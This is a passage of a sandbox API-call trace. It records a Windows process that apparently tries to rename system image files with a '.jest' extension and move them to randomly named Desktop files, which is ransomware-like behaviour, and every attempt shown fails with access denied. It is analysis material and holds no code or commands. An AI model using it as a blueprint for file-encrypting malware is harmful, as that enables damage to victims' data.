Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png", lpUsedDefaultChar=0x0) returned 78 [0126.013] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png", lpFilePart=0x18e6d8*="square.png") returned 0x4d [0126.013] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb533bd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4eac, dwReserved0=0x78, dwReserved1=0x0, cFileName="square.png", cAlternateFileName="")) returned 0x143ce48 [0126.013] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.015] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.015] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x379)) [0126.015] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x379)) [0126.015] GetUserDefaultLCID () returned 0x409 [0126.015] VarBstrFromR4 (in: fltIn=0x479444f2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.89") returned 0x0 [0126.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="`") returned 1 [0126.015] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.016] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.016] GetTickCount () returned 0x1151f44 [0126.017] GetTickCount () returned 0x1151f44 [0126.017] GetTickCount () returned 0x1151f44 [0126.017] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.017] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.017] GetTickCount () returned 0x1151f44 [0126.017] IsWindowVisible (hWnd=0x30268) returned 0 [0126.017] Sleep (dwMilliseconds=0x0) [0126.018] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.018] GetFullPathNameA (in: lpFileName="D7Fi2xTbvt jJNmmzEIJfPZAmkUKgCmz5mRS4-tRBaSozBr8ZLoi6ETWwwdOsruKEX81HKNeaxu5quVFyCrx_puRjFbtC4Z58Vl.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D7Fi2xTbvt jJNmmzEIJfPZAmkUKgCmz5mRS4-tRBaSozBr8ZLoi6ETWwwdOsruKEX81HKNeaxu5quVFyCrx_puRjFbtC4Z58Vl.tmp", lpFilePart=0x18e708*="D7Fi2xTbvt jJNmmzEIJfPZAmkUKgCmz5mRS4-tRBaSozBr8ZLoi6ETWwwdOsruKEX81HKNeaxu5quVFyCrx_puRjFbtC4Z58Vl.tmp") returned 0x8d [0126.018] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png", lpFilePart=0x18e708*="square.png") returned 0x4d [0126.018] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D7Fi2xTbvt jJNmmzEIJfPZAmkUKgCmz5mRS4-tRBaSozBr8ZLoi6ETWwwdOsruKEX81HKNeaxu5quVFyCrx_puRjFbtC4Z58Vl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d7fi2xtbvt jjnmmzeijfpzamkukgcmz5mrs4-trbasozbr8zloi6etwwwdosrukex81hkneaxu5quvfycrx_purjfbtc4z58vl.tmp")) returned 0 [0126.019] GetLastError () returned 0x5 [0126.019] GetLastError () returned 0x5 [0126.019] SetLastError (dwErrCode=0x5) [0126.019] GetLastError () returned 0x5 [0126.019] SetLastError (dwErrCode=0x5) [0126.019] GetLastError () returned 0x5 [0126.019] SetLastError (dwErrCode=0x5) [0126.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.019] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.019] GetFullPathNameA (in: lpFileName="D7Fi2xTbvt jJNmmzEIJfPZAmkUKgCmz5mRS4-tRBaSozBr8ZLoi6ETWwwdOsruKEX81HKNeaxu5quVFyCrx_puRjFbtC4Z58Vl.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D7Fi2xTbvt jJNmmzEIJfPZAmkUKgCmz5mRS4-tRBaSozBr8ZLoi6ETWwwdOsruKEX81HKNeaxu5quVFyCrx_puRjFbtC4Z58Vl.tmp", lpFilePart=0x18e6e4*="D7Fi2xTbvt jJNmmzEIJfPZAmkUKgCmz5mRS4-tRBaSozBr8ZLoi6ETWwwdOsruKEX81HKNeaxu5quVFyCrx_puRjFbtC4Z58Vl.tmp") returned 0x8d [0126.019] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D7Fi2xTbvt jJNmmzEIJfPZAmkUKgCmz5mRS4-tRBaSozBr8ZLoi6ETWwwdOsruKEX81HKNeaxu5quVFyCrx_puRjFbtC4Z58Vl.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x69463744, cFileName="2xTbvt jJNmmzEIJfPZAmkUKgCmz5mRS4-tRBaSozBr8ZLoi6ETWwwdOsruKEX81HKNeaxu5quVFyCrx_puRjFbtC4Z58Vl.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.020] GetLastError () returned 0x2 [0126.020] GetLastError () returned 0x2 [0126.020] SetLastError (dwErrCode=0x2) [0126.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.020] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.022] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.022] GetLastError () returned 0x0 [0126.022] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.023] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.023] GetLastError () returned 0x0 [0126.023] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.023] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.023] GetLastError () returned 0x0 [0126.023] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.024] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.024] GetLastError () returned 0x0 [0126.024] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.024] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.024] GetTickCount () returned 0x1151f44 [0126.024] GetTickCount () returned 0x1151f44 [0126.024] GetTickCount () returned 0x1151f44 [0126.024] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.024] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.024] GetTickCount () returned 0x1151f44 [0126.025] IsWindowVisible (hWnd=0x30268) returned 0 [0126.025] Sleep (dwMilliseconds=0x0) [0126.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.026] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.026] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square_h.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square_h.png.jest")) returned 0 [0126.026] GetLastError () returned 0x5 [0126.027] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹨湰g") returned 0x4f [0126.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.027] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹨湰g") returned 0x4f [0126.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=80, lpWideCharStr=0x14cf144, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png") returned 80 [0126.027] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹨湰⹧敪瑳") returned 0x54 [0126.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0126.027] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹨湰⹧敪瑳") returned 0x54 [0126.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=85, lpWideCharStr=0x14c2ea4, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png.jest") returned 85 [0126.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png", lpUsedDefaultChar=0x0) returned 80 [0126.027] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png", lpFilePart=0x18e6d8*="square_h.png") returned 0x4f [0126.027] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5361e9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1db, dwReserved0=0x78, dwReserved1=0x0, cFileName="square_h.png", cAlternateFileName="")) returned 0x143ce48 [0126.027] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.028] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.028] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x389)) [0126.028] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x389)) [0126.028] GetUserDefaultLCID () returned 0x409 [0126.028] VarBstrFromR4 (in: fltIn=0x479444f4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.91") returned 0x0 [0126.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="j") returned 1 [0126.028] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.029] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.029] GetTickCount () returned 0x1151f54 [0126.029] GetTickCount () returned 0x1151f54 [0126.029] GetTickCount () returned 0x1151f54 [0126.029] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.029] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.029] GetTickCount () returned 0x1151f54 [0126.029] IsWindowVisible (hWnd=0x30268) returned 0 [0126.029] Sleep (dwMilliseconds=0x0) [0126.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.030] GetFullPathNameA (in: lpFileName="Cd2bPlVoAVjK_yF8Dv1WKY9hJiHGx44TqqgWXx ALmZ0jiBbbP5L9pM3V7mPCZ1YtQ0AQly-IBjlgkMVr3wg32YOTVX_2DuiCJdJ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Cd2bPlVoAVjK_yF8Dv1WKY9hJiHGx44TqqgWXx ALmZ0jiBbbP5L9pM3V7mPCZ1YtQ0AQly-IBjlgkMVr3wg32YOTVX_2DuiCJdJ.tmp", lpFilePart=0x18e708*="Cd2bPlVoAVjK_yF8Dv1WKY9hJiHGx44TqqgWXx ALmZ0jiBbbP5L9pM3V7mPCZ1YtQ0AQly-IBjlgkMVr3wg32YOTVX_2DuiCJdJ.tmp") returned 0x8e [0126.031] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png", lpFilePart=0x18e708*="square_h.png") returned 0x4f [0126.031] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square_h.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Cd2bPlVoAVjK_yF8Dv1WKY9hJiHGx44TqqgWXx ALmZ0jiBbbP5L9pM3V7mPCZ1YtQ0AQly-IBjlgkMVr3wg32YOTVX_2DuiCJdJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd2bplvoavjk_yf8dv1wky9hjihgx44tqqgwxx almz0jibbbp5l9pm3v7mpcz1ytq0aqly-ibjlgkmvr3wg32yotvx_2duicjdj.tmp")) returned 0 [0126.031] GetLastError () returned 0x5 [0126.031] GetLastError () returned 0x5 [0126.031] SetLastError (dwErrCode=0x5) [0126.031] GetLastError () returned 0x5 [0126.031] SetLastError (dwErrCode=0x5) [0126.031] GetLastError () returned 0x5 [0126.031] SetLastError (dwErrCode=0x5) [0126.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.032] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.032] GetFullPathNameA (in: lpFileName="Cd2bPlVoAVjK_yF8Dv1WKY9hJiHGx44TqqgWXx ALmZ0jiBbbP5L9pM3V7mPCZ1YtQ0AQly-IBjlgkMVr3wg32YOTVX_2DuiCJdJ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Cd2bPlVoAVjK_yF8Dv1WKY9hJiHGx44TqqgWXx ALmZ0jiBbbP5L9pM3V7mPCZ1YtQ0AQly-IBjlgkMVr3wg32YOTVX_2DuiCJdJ.tmp", lpFilePart=0x18e6e4*="Cd2bPlVoAVjK_yF8Dv1WKY9hJiHGx44TqqgWXx ALmZ0jiBbbP5L9pM3V7mPCZ1YtQ0AQly-IBjlgkMVr3wg32YOTVX_2DuiCJdJ.tmp") returned 0x8e [0126.032] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Cd2bPlVoAVjK_yF8Dv1WKY9hJiHGx44TqqgWXx ALmZ0jiBbbP5L9pM3V7mPCZ1YtQ0AQly-IBjlgkMVr3wg32YOTVX_2DuiCJdJ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x62326443, cFileName="PlVoAVjK_yF8Dv1WKY9hJiHGx44TqqgWXx ALmZ0jiBbbP5L9pM3V7mPCZ1YtQ0AQly-IBjlgkMVr3wg32YOTVX_2DuiCJdJ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.032] GetLastError () returned 0x2 [0126.032] GetLastError () returned 0x2 [0126.032] SetLastError (dwErrCode=0x2) [0126.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.033] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.033] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.033] GetLastError () returned 0x0 [0126.033] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.033] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.034] GetLastError () returned 0x0 [0126.034] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.034] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.034] GetTickCount () returned 0x1151f54 [0126.034] GetTickCount () returned 0x1151f54 [0126.034] GetTickCount () returned 0x1151f54 [0126.034] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.034] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.034] GetTickCount () returned 0x1151f54 [0126.034] IsWindowVisible (hWnd=0x30268) returned 0 [0126.034] Sleep (dwMilliseconds=0x0) [0126.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.052] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.052] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square_m.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square_m.png.jest")) returned 0 [0126.052] GetLastError () returned 0x5 [0126.052] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹭湰g") returned 0x4f [0126.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.052] SysStringByteLen 